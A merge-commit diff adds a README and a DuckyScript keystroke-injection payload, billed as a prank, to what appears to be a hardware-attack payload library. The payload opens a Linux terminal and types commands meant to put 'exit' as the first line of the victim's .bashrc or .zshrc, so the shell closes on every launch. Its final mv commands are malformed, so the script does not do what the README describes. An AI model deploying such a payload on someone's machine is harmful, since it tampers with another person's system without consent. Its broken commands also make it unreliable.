Merge pull request #443 from aleff-github/patch-84

This Damn Shell Doesn't Work, SO SAD! :C

payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md

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+# This Damn Shell Doesn't Work, SO SAD! :C
+
+This payload can be used to prank your friends so that when they open their terminal it will close immediately.
+
+**Category**: Prank
+
+![](1.gif)
+
+## Dependencies
+
+* Nothing <3
+
+## Description
+
+The described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell.
+
+However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`.
+
+To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#TARGET_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.
+
+To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`.
+
+## Read More
+
+- \[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH
+](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/)
+
+## Credits
+
+<h2 align="center"> Aleff :octocat: </h2>
+<div align=center>
+<table>
+  <tr>
+    <td align="center" width="96">
+      <a href="https://github.com/aleff-github">
+        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
+      </a>
+      <br>Github
+    </td>
+    <td align="center" width="96">
+      <a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
+        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
+      </a>
+      <br>Linkedin
+    </td>
+  </tr>
+</table>
+</div>

payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt

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+REM ############################################################
+REM #                                                          #
+REM # Title        : This damn shell doesn't work, SO SAD! :C  #
+REM # Author       : Aleff                                     #
+REM # Version      : 1.0                                       #
+REM # Category     : Prank                                     #
+REM # Target       : Linux                                     #
+REM #                                                          #
+REM ############################################################
+
+REM Requirements:
+REM     - Nothing <3
+REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution.
+DEFINE #TARGET_KALI_LINUX TRUE
+
+EXTENSION DETECT_READY
+    REM VERSION 1.1
+    REM AUTHOR: Korben
+
+    REM_BLOCK DOCUMENTATION
+        USAGE:
+            Extension runs inline (here)
+            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
+            boot delay
+
+        TARGETS:
+            Any system that reflects CAPSLOCK will detect minimum required delay
+            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
+    END_REM
+
+    REM CONFIGURATION:
+    DEFINE #RESPONSE_DELAY 25
+    DEFINE #ITERATION_LIMIT 120
+
+    VAR $C = 0
+    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))
+        CAPSLOCK
+        DELAY #RESPONSE_DELAY
+        $C = ($C + 1)
+    END_WHILE
+    CAPSLOCK
+END_EXTENSION
+
+CTRL-ALT t
+DELAY 2000
+STRINGLN echo "exit" > .tmp
+DELAY 500
+IF_DEFINED_TRUE #TARGET_KALI_LINUX
+    STRINGLN cat .zshrc >> .tmp
+    DELAY 500
+    STRINGLN mv .tmp >> .zshrc
+ELSE_DEFINED
+    STRINGLN cat .bashrc >> .tmp
+    DELAY 500    
+    STRINGLN mv .tmp >> .bashrc
+END_IF_DEFINED
+DELAY 500
+ALT F4